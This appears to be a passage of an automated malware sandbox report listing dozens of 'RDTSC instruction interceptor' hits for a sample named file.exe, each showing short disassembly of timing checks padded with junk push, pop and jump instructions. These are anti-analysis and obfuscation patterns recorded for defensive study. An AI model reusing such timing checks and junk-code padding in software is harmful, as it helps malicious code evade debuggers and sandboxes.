Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD9002 second address: BD9021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F5264C7BB01h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD9021 second address: BD9025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD9025 second address: BD9031 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD9031 second address: BD9040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F52647CA116h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD2955 second address: BD2959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD2959 second address: BD2974 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F52647CA122h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFEB0B second address: BFEB11 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFEB11 second address: BFEB17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFEB17 second address: BFEB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03CB3 second address: C03CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03CB7 second address: C03CBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02B2B second address: C02B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F52647CA116h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02B37 second address: C02B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5264C7BAFCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02CC6 second address: C02CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007F52647CA11Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02CD3 second address: C02CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F5264C7BAF6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02E44 second address: C02E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F52647CA128h 0x0000000d popad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03122 second address: C0313C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB05h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0313C second address: C0314D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F52647CA118h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C033FB second address: C03405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03405 second address: C0340B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C036BE second address: C036C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C036C2 second address: C036F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F52647CA11Ch 0x0000000d jmp 00007F52647CA11Fh 0x00000012 jg 00007F52647CA118h 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C036F3 second address: C03707 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5264C7BAF6h 0x00000008 jne 00007F5264C7BAF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03875 second address: C03879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C080BC second address: C080F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5264C7BB07h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5264C7BB07h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09F5A second address: C09F61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0BC86 second address: C0BC99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5264C7BAFFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0BC99 second address: C0BCA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0BCA3 second address: C0BCA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0057 second address: 4FD0066 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0066 second address: 4FD0093 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5264C7BAFDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC000F second address: 4FC0015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0015 second address: 4FC0019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0019 second address: 4FC005E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov si, 3A7Bh 0x00000011 mov edi, esi 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007F52647CA11Dh 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F52647CA128h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC005E second address: 4FC0062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0062 second address: 4FC0068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0068 second address: 4FC0082 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BAFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0082 second address: 4FC0088 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500009D second address: 50000A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50000A1 second address: 50000A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50000A5 second address: 50000AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F900C7 second address: 4F900CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F900CB second address: 4F900CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F900CF second address: 4F900D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F900D5 second address: 4F900DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F900DB second address: 4F9012C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F52647CA11Dh 0x00000014 pop ecx 0x00000015 pushfd 0x00000016 jmp 00007F52647CA121h 0x0000001b sub esi, 4C40B536h 0x00000021 jmp 00007F52647CA121h 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9012C second address: 4F9014E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5264C7BAFAh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5264C7BAFDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9014E second address: 4F90163 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90163 second address: 4F90169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90169 second address: 4F9016D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9016D second address: 4F90171 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90171 second address: 4F901BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007F52647CA125h 0x0000000f mov bl, ch 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 movzx ecx, di 0x00000018 popad 0x00000019 push dword ptr [ebp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F52647CA129h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F901BA second address: 4F901BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F901BE second address: 4F901C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F901C4 second address: 4F901CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F901CA second address: 4F901CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9021B second address: 4F9021F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9021F second address: 4F90225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0D28 second address: 4FB0D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0D2C second address: 4FB0D32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0D32 second address: 4FB0D98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 mov esi, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push esi 0x0000000e pushfd 0x0000000f jmp 00007F5264C7BAFDh 0x00000014 sub ch, FFFFFFC6h 0x00000017 jmp 00007F5264C7BB01h 0x0000001c popfd 0x0000001d pop eax 0x0000001e call 00007F5264C7BB01h 0x00000023 mov di, cx 0x00000026 pop eax 0x00000027 popad 0x00000028 mov dword ptr [esp], ebp 0x0000002b jmp 00007F5264C7BB03h 0x00000030 mov ebp, esp 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0D98 second address: 4FB0D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0D9C second address: 4FB0DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0DA2 second address: 4FB0DCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F52647CA127h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0922 second address: 4FB0966 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 call 00007F5264C7BAFAh 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 pushad 0x00000011 mov ax, EF93h 0x00000015 jmp 00007F5264C7BB08h 0x0000001a popad 0x0000001b mov dword ptr [esp], ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F5264C7BAFAh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0966 second address: 4FB0975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0975 second address: 4FB09CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5264C7BAFFh 0x00000008 jmp 00007F5264C7BB08h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebp, esp 0x00000012 jmp 00007F5264C7BB00h 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5264C7BB07h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB085D second address: 4FB086C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB04E1 second address: 4FB04F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB04F5 second address: 4FB0509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0509 second address: 4FB0523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5264C7BB06h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0523 second address: 4FB0527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0527 second address: 4FB053F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5264C7BAFDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB053F second address: 4FB05E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F52647CA11Ch 0x00000011 sbb al, 00000058h 0x00000014 jmp 00007F52647CA11Bh 0x00000019 popfd 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F52647CA126h 0x00000021 add eax, 309FF4B8h 0x00000027 jmp 00007F52647CA11Bh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F52647CA128h 0x00000033 jmp 00007F52647CA125h 0x00000038 popfd 0x00000039 popad 0x0000003a popad 0x0000003b mov ebp, esp 0x0000003d pushad 0x0000003e mov cl, 82h 0x00000040 push eax 0x00000041 push edx 0x00000042 call 00007F52647CA11Fh 0x00000047 pop ecx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0324 second address: 4FC0333 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BAFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0333 second address: 4FC03D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F52647CA11Fh 0x00000009 jmp 00007F52647CA123h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F52647CA128h 0x00000015 xor eax, 33465408h 0x0000001b jmp 00007F52647CA11Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 push eax 0x00000025 pushad 0x00000026 mov edi, 5046D7AAh 0x0000002b popad 0x0000002c xchg eax, ebp 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F52647CA11Ah 0x00000034 xor esi, 2A9C7668h 0x0000003a jmp 00007F52647CA11Bh 0x0000003f popfd 0x00000040 mov ch, B4h 0x00000042 popad 0x00000043 mov ebp, esp 0x00000045 jmp 00007F52647CA11Bh 0x0000004a pop ebp 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F52647CA125h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0F45 second address: 4FF0F7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5264C7BB08h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0F7F second address: 4FF0F83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0F83 second address: 4FF0F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0F89 second address: 4FF0FD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F52647CA121h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F52647CA11Eh 0x00000018 xor cx, 2638h 0x0000001d jmp 00007F52647CA11Bh 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD03E1 second address: 4FD03EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 75C3D074h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD03EB second address: 4FD042B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F52647CA120h 0x0000000f push eax 0x00000010 jmp 00007F52647CA11Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 movsx edx, cx 0x0000001c call 00007F52647CA11Ch 0x00000021 pop eax 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD042B second address: 4FD043D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 mov dl, ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD043D second address: 4FD0441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0441 second address: 4FD0445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0445 second address: 4FD044B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD044B second address: 4FD0485 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c jmp 00007F5264C7BAFEh 0x00000011 and dword ptr [eax], 00000000h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov si, bx 0x0000001a push edx 0x0000001b pop esi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0485 second address: 4FD04D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA122h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax+04h], 00000000h 0x0000000d pushad 0x0000000e mov edx, eax 0x00000010 mov edx, ecx 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F52647CA121h 0x0000001d sbb ax, F7C6h 0x00000022 jmp 00007F52647CA121h 0x00000027 popfd 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD04D4 second address: 4FD04D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD04D9 second address: 4FD04E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52647CA11Ah 0x00000009 rdtsc
